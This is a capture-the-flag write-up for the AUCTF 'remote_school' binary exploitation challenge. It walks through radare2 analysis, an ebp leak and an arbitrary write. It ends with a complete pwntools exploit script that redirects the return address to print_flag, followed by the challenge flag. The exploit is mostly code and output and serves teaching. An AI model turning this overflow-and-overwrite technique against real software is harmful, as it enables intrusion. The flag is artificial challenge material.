Intro
This is the fourth and last pwn challenge. It was solved 63 times and it was worth 960 points.
Description:
Dear Student,
Due to COVID-19 concerns our curriculum will be moving completely to online courses… I know we haven’t even started our school year yet so this may come as a shock. But I promise it won’t be too bad! You can login at challenges.auctf.com 30013.
Best, Dean of Eon Pillars
You could download the binary here.
$ sha256sum remote_school
d0639347713b54603db5f8015fc1015ca911fb10ad9d271c31e9630093054664 remote_school
Exploitation
At the startup the program prints a banner and it asks a name. As usual I tried to find a buffer overflow or a format string vulnerability, without success.
Then it prints a prompt. I also played a bit here, without success.
However the program supports a lot of command:
$ ./remote_school
Welcome to your new online class!
We here, at Eon Pillars, we think Zoom is trash and prefer to have our lessions via command line!
May I get your name?
Name: name
Thanks! It is nice to meet you name!
Well enough of that let's start class ... What should we do?
> [? for menu]: ?
~~Eon Pillars help menu~~
help: Print help menu
attend <class>: go to class
study <class>: study for class
list: list classes
stats: check stats
grades: check grades
quit: Exit Terminal
What should we do?
> [? for menu]:
So I analyzed the binary with checksec. It has RWX segment and NX disabled. Weird.
$ checksec remote_school
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
Then I opened with radare2 and I found two promising functions:
$ r2 -Ad ./remote_school
[r2]> afl
.....
0x5655699f 1 120 sym.class_hacker
0x56556299 3 144 sym.print_flag
.....
But there isn’t any xref to both functions.
However, after some digging, I found an interesting object:
[r2]> is
.....
40 0x00002ec0 0x56558ec0 LOCAL OBJ 32 classtable
.....
[r2]> pxr 32 @obj.classtable
0x56558ec0 0x565570e0 .pUV (.rodata) (Algebra)
0x56558ec4 0x5655692f /iUV (.text) sym.class_algebra
0x56558ec8 0x565570e8 .pUV (.rodata) (CompSci)
0x56558ecc 0x56556967 giUV (.text) sym.class_compsci
0x56558ed0 0x565570f0 .pUV (.rodata) (Hacker)
0x56558ed4 0x5655699f .iUV (.text) sym.class_hacker
0x56558ed8 ..[ null bytes ].. 00000000
It seems like an associative array. So I tried to attend the “Hacker” class, with success.
This class prints a hexadecimal value (maybe an address) and we got a segfault:
> [? for menu]: attend Hacker
Welcome!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Got AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0xffff8608
Segmentation fault (core dumped)
Let’s disassemble class_hacker
.
It’s a really simple function. It gets the input and then passes it to another function called test
:
[r2]> pdf @sym.class_hacler
.....
│ 0x565569d2 6800200000 push 0x2000
│ 0x565569d7 8d85f8dfffff lea eax, [var_2008h]
│ 0x565569dd 50 push eax
│ 0x565569de e87df6ffff call sym.imp.fgets
.....
│ 0x56556a02 8d85f8dfffff lea eax, [var_2008h]
│ 0x56556a08 50 push eax
│ 0x56556a09 e841fbffff call sym.test
The test
function is really interesting and it’s the target of the exploitation:
- It prints the address of
ebp
. I highlited the line with the THIS comment. - It gives us an arbitrary write. I also highlited this line with a comment.
[r2]> pdf @sym.test
.....
| 0x56556559 e842fcffff call sym.__x86.get_pc_thunk.bx
│ 0x5655655e 81c3a22a0000 add ebx, 0x2aa2
│ 0x56556564 55 push ebp
│ 0x56556565 8d83d5e1ffff lea eax, [ebx - 0x1e2b]
│ 0x5655656b 50 push eax
│ 0x5655656c e82f0e90a1 call 0xf7e573a0 ; THIS
│ 0x56556571 83ec04 sub esp, 4
│ 0x56556574 6808080000 push 0x808 ; 2056
│ 0x56556579 ff7508 push dword [arg_8h]
│ 0x5655657c 8d85f0f7ffff lea eax, [var_810h]
│ 0x56556582 50 push eax
│ 0x56556583 e888fbffff call sym.imp.strncpy
│ 0x56556588 83c410 add esp, 0x10
│ 0x5655658b 8b45f4 mov eax, dword [var_ch]
│ 0x5655658e 8b55f0 mov edx, dword [var_10h]
│ 0x56556591 8910 mov dword [eax], edx ; ARBITRARY WRITE
.....
So, with a two step attack, we can overwrite the saved return address (at ebp + 0x4
) with the address of print_flag
.
This is the exploit:
#!/usr/bin/python2
from pwn import *
prog = context.binary = ELF(os.getcwd() + "/online", checksec=False)
if len(sys.argv) > 1:
host = "challenges.auctf.com"
port = 30013
t = remote(host, port)
else:
t = prog.process()
offset = 2048
base = 0x56555000
def init():
t.recvuntil("Name: ")
t.sendline("a_name")
t.recvuntil("> [? for menu]: ")
t.sendline("attend Hacker")
t.recvuntil("Welcome!")
payload = "A"*offset
payload += "J"*4
payload += pack(prog.get_section_by_name(".data").header.sh_addr + 0x56556000) # no segfault in this way
t.sendline(payload)
t.recvuntil("0x")
leaked = int("0x" + t.recvuntil("\n"), 16)
return leaked
def print_flag(ebp):
t.recvuntil("> [? for menu]: ")
t.sendline("attend Hacker")
t.recvuntil("Welcome!")
payload = "A"*offset
payload += pack(prog.symbols["print_flag"] + base)
payload += pack(ebp + 4)
t.sendline(payload)
ebp = init()
log.info("ebp @ {:#x}".format(ebp))
print_flag(ebp)
t.interactive()
t.close()
And this is the flag:
$ ./exploit.py
.....
auctf{1_hope_you_l1ked_my_g@m3_2321}
.....